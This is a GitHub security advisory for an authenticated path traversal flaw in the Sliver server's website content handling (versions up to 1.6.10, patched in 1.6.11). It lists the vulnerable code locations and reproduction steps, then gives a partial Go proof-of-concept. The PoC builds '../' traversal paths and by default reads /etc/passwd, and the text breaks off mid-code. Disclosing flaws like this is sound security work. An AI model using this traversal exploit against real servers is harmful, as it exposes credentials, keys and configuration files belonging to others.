GitHub Security Advisory: GHSA-2286-hxv5-cmp2
Package: github.com/bishopfox/sliver (GO)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: <= 1.6.10
Patched in: 1.6.11

Summary: Sliver Vulnerable to Website Path Traversal / Arbitrary File Read (Authenticated)

Details:
## Summary
A Path Traversal vulnerability in the website content subsystem lets an authenticated operator read arbitrary files on the Sliver server host. This is an authenticated **Path Traversal / arbitrary file read** issue, and it can expose credentials, configs, and keys.

## Affected Component
- Website content management (gRPC): `WebsiteAddContent`, `Website`, `Websites`
- Server-side file read in `Website.ToProtobuf`

## Impact
- **Arbitrary file read** as the Sliver server OS user.
- Exposure of sensitive data such as operator configs, TLS keys, tokens, and logs.

## Root Cause
The server accepts and persists arbitrary website paths from the operator, then later reads from disk using that path without sanitization or containment.

## Vulnerable Code References
- `server/rpc/rpc-website.go:100` — accepts `content.Path` from operator RPC and persists it via `website.AddContent`
- `server/db/models/website.go:52` — reads from disk with `filepath.Join(webContentDir, webcontent.Path)` without validating or constraining `webcontent.Path`

## Proof of Concept (PoC)

### Steps (local test)
1. Build the server:
   ```bash
   go build -mod=vendor -tags go_sqlite,server -o sliver-server ./server
   ```
2. Create an operator config (permission `all` for website operations):
   ```bash
   ./sliver-server operator -n testop -l 127.0.0.1 -p 31337 -P all -o file -s /tmp
   ```
3. Start the daemon:
   ```bash
   ./sliver-server daemon -l 127.0.0.1 -p 31337
   ```
4. Run the PoC:
   ```bash
   GOFLAGS=-mod=vendor go run ./poc/website_path_traversal.go -config /tmp/testop_127.0.0.1.cfg -website poc-site -target /etc/hosts
   ```


### PoC Code
```go
package main

import (
	"context"
	"flag"
	"fmt"
	"os"
	"path/filepath"
	"runtime"
	"strings"
	"time"

	"github.com/bishopfox/sliver/client/assets"
	"github.com/bishopfox/sliver/client/transport"
	"github.com/bishopfox/sliver/protobuf/clientpb"
)

func main() {
	var (
		configPath  string
		websiteName string
		targetPath  string
		webPath     string
		maxBytes    int
	)
	flag.StringVar(&configPath, "config", "", "path to sliver client config (.cfg)")
	flag.StringVar(&websiteName, "website", "poc-site", "website name to use/create")
	flag.StringVar(&targetPath, "target", "", "absolute server file path to read")
	flag.StringVar(&webPath, "web-path", "", "override web path (defaults to traversal into target)")
	flag.IntVar(&maxBytes, "max-bytes", 1024, "max bytes of leaked content to print")
	flag.Parse()

	if targetPath == "" {
		if runtime.GOOS == "windows" {
			targetPath = `C:\\Windows\\System32\\drivers\\etc\\hosts`
		} else {
			targetPath = "/etc/passwd"
		}
	}

	if webPath == "" {
		trimmed := strings.TrimPrefix(targetPath, string(filepath.Separator))
		webPath = "../../../../../../../../" + trimmed
	}

	config, err := loadConfig(configPath)
	if err != nil {
		fatalf("config error: %v", err)
	}

	rpc, conn, err := transport.MTLSConnect(config)
	if err != nil {
		fatalf("connect error: %v", err)
	}
	defer c